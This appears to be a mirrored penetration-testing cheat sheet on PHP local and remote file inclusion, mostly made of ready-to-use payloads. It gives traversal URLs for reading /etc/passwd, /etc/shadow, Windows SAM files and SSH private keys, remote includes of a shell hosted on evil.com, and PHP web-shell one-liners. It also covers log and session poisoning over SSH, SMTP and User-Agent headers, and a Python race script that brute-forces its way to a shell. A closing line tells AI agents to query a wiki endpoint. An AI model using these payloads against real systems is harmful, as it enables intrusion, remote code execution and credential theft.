# File Inclusion

> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application

## Summary

* [Tools](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [Basic LFI](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Null byte](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Double encoding](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [UTF-8 encoding](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Path and dot truncation](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Filter bypass tricks](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [Basic RFI](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI / RFI using wrappers](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper php://filter](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper zip://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper data://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper expect://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper input://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper phar://](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via /proc/\*/fd](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via /proc/self/environ](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload (race)](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload (FindFirstFile)](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via phpinfo()](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via controlled log file](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via PHP sessions](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via credentials files](broken://pages/YJcWkRQsNlU5xuEXBevW)

## Tools

* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)

## Basic LFI

In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.

```powershell
http://example.com/index.php?page=../../../etc/passwd
```

### Null byte

:warning: In versions of PHP below 5.3.4 we can terminate with null byte.

```powershell
http://example.com/index.php?page=../../../etc/passwd%00
```

### Double encoding

```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### UTF-8 encoding

```powershell
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
```

### Path and dot truncation

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.

```powershell
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
```

### Filter bypass tricks

```powershell
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

## Basic RFI

Most of the filter bypasses from LFI section can be reused for RFI.

```powershell
http://example.com/index.php?page=http://evil.com/shell.txt
```

### Null byte

```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00
```

### Double encoding

```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

### Bypass allow\_url\_include

When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.

1. Create a share open to everyone
2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`

## LFI / RFI using wrappers

### Wrapper php\://filter

The part "php\://filter" is case insensitive

```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

can be chained with a compression wrapper for large files.

```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

NOTE: Wrappers can be chained multiple times using `|` or `/`:

* Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
* deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`

```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```

### Wrapper zip\://

```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

### Wrapper expect://

```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple `curl` command.

```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```

Alternatively, Kadimus has a module to automate this attack.

```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input
```

### Wrapper phar://

Create a phar file with a serialized object in its meta-data.

```php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method \_\_destruct() or \_\_wakeup() defined, then those methods are automatically invoked

```php
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');
```

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.

## LFI to RCE via /proc/\*/fd

1. Upload a lot of shells (for example : 100)
2. Include <http://example.com/index.php?page=/proc/$PID/fd/$FD>, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

## LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

## LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

## LFI to RCE via upload (race)

Worlds Quitest Let's Play"

* Upload a file and trigger a self-inclusion.
* Repeat 1 a shitload of time to:
* increase our odds of winning the race
* increase our guessing odds
* Bruteforce the inclusion of /tmp/\[0-9a-zA-Z]{6}
* Enjoy our shell.

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

## LFI to RCE via upload (FindFirstFile)

:warning: Only works on Windows

`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.

* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`

## LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as **$\_GET**, **$\_POST** and **$\_FILES**.

> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script phpInfoLFI.py (also available at <https://www.insomniasec.com/downloads/publications/phpinfolfi.py>)

Research from <https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf>

## LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

### RCE via SSH

Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.

```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```

Then include the SSH log files inside the Web Application.

```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```

### RCE via Mail

First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.

```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```

In some cases you can also send the email with the `mail` command line.

```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```

### RCE via Apache logs

Poison the User-Agent in access logs:

```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```

## LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into /var/lib/php5/sess\_\[PHPSESSID] or /var/lib/php/session/sess\_\[PHPSESSID] files

```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```

## LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

### Windows version

First extract `sam` and `system` files.

```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```

Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.

### Linux version

First extract `/etc/shadow` files.

```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id\_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.

## References

* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/file-inclusion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.